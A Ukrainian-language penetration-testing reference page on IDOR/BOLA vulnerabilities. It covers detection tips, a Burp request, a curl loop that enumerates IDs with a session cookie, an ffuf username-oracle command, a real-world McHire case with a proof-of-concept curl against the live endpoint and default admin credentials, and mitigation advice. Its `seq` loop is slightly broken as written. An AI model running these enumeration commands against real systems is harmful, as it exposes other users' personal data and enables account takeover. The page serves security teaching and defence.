# IDOR (Insecure Direct Object Reference)

{{#include ../banners/hacktricks-training.md}}

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) виникає, коли веб- або API-ендпойнт розкриває або приймає керований користувачем ідентифікатор, який використовується **безпосередньо** для доступу до внутрішнього об'єкта **без перевірки**, чи має викликач права на доступ/зміну цього об'єкта.
Успішна експлуатація зазвичай дозволяє горизонтальне або вертикальне підвищення привілеїв — наприклад читання або зміну даних інших користувачів і, у найгіршому випадку, повний takeover акаунта або масову ексфільтрацію даних.

---
## 1. Виявлення потенційних IDOR

1. Шукайте **параметри, які посилаються на об'єкт**:
* Шлях: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* Параметри запиту: `?id=42`, `?invoice=2024-00001`
* Тіло / JSON: `{"user_id": 321, "order_id": 987}`
* Заголовки / Cookies: `X-Client-ID: 4711`
2. Надавайте перевагу ендпойнтам, які **читають або оновлюють** дані (`GET`, `PUT`, `PATCH`, `DELETE`).
3. Звертайте увагу, коли ідентифікатори **послідовні або передбачувані** — якщо ваш ID `64185742`, то `64185741` ймовірно існує.
4. Досліджуйте приховані або альтернативні потоки (наприклад *"Paradox team members"* посилання на сторінках входу), які можуть відкрити додаткові API.
5. Використовуйте **аутентифіковану сесію з низькими привілеями** і змінюйте лише ID, **зберігаючи той самий token/cookie**. Відсутність помилки авторизації зазвичай є ознакою IDOR.

### Швидка ручна модифікація (Burp Repeater)
```
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}
```
### Автоматизоване перерахування (Burp Intruder / curl loop)
```bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
```
---

### Оракул помилок для перелічення користувачів/файлів

Коли download endpoint приймає одночасно username і filename (наприклад, `/view.php?username=<u>&file=<f>`), тонкі відмінності в повідомленнях про помилку часто створюють оракул:

- Неіснуючий username → "User not found"
- Неправильний filename, але валідне розширення → "File does not exist" (іноді також перелічує доступні файли)
- Неправильне розширення → validation error

Маючи будь-яку аутентифіковану сесію, ви можете fuzz параметр username, утримуючи benign filename, і фільтрувати за рядком "user not found", щоб виявити валідних користувачів:
```bash
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
```
Після того як виявлено дійсні імена користувачів, робіть запити конкретних файлів напряму (наприклад, `/view.php?username=amanda&file=privacy.odt`). Така схема часто призводить до несанкціонованого розголошення документів інших користувачів та credential leakage.

---
## 2. Кейс із реального життя – McHire Chatbot Platform (2025)

Під час оцінки рекрутингового порталу **McHire**, що працює на Paradox.ai, було виявлено наступний IDOR:

* Endpoint: `PUT /api/lead/cem-xhr`
* Authorization: user session cookie для **будь-якого** тестового облікового запису ресторану
* Body parameter: `{"lead_id": N}` – 8-значний, **послідовний** числовий ідентифікатор

Зменшуючи `lead_id`, тестер отримав довільні **full PII** заявників (ім'я, e-mail, телефон, адреса, переваги щодо змін) та споживацький **JWT**, що дозволяв session hijacking. Перебір діапазону `1 – 64,185,742` виявив приблизно **64 million** записів.

Proof-of-Concept request:
```bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
```
У поєднанні з **стандартними обліковими даними адміністратора** (`123456:123456`), які надали доступ до тестового облікового запису, вразливість призвела до критичного витоку даних по всій компанії.

---
## 3. Вплив IDOR / BOLA
* Горизонтальне підвищення привілеїв – читання/оновлення/видалення **інших користувачів’** даних.
* Вертикальне підвищення – користувач з низькими привілеями отримує функціональність, доступну лише адміністраторам.
* Масове порушення конфіденційності, якщо ідентифікатори послідовні (наприклад, applicant IDs, invoices).
* Забор облікового запису шляхом викрадення токенів або скидання паролів інших користувачів.

---
## 4. Пом'якшення наслідків і найкращі практики
1. **Enforce object-level authorization** на кожен запит (`user_id == session.user`).
2. Віддавати перевагу **indirect, unguessable identifiers** (UUIDv4, ULID) замість автоінкрементних ID.
3. Виконувати авторизацію **server-side**, ніколи не покладатися на приховані поля форм або UI controls.
4. Реалізувати перевірки **RBAC / ABAC** у центральному middleware.
5. Додати **rate-limiting & logging** для виявлення enumeration ID.
6. Перевіряти безпеку кожного нового endpoint (unit, integration, та DAST).

---
## 5. Інструменти
* **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder.
* **OWASP ZAP**: Auth Matrix, Forced Browse.
* **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).



## Посилання
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
* [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
{{#include ../banners/hacktricks-training.md}}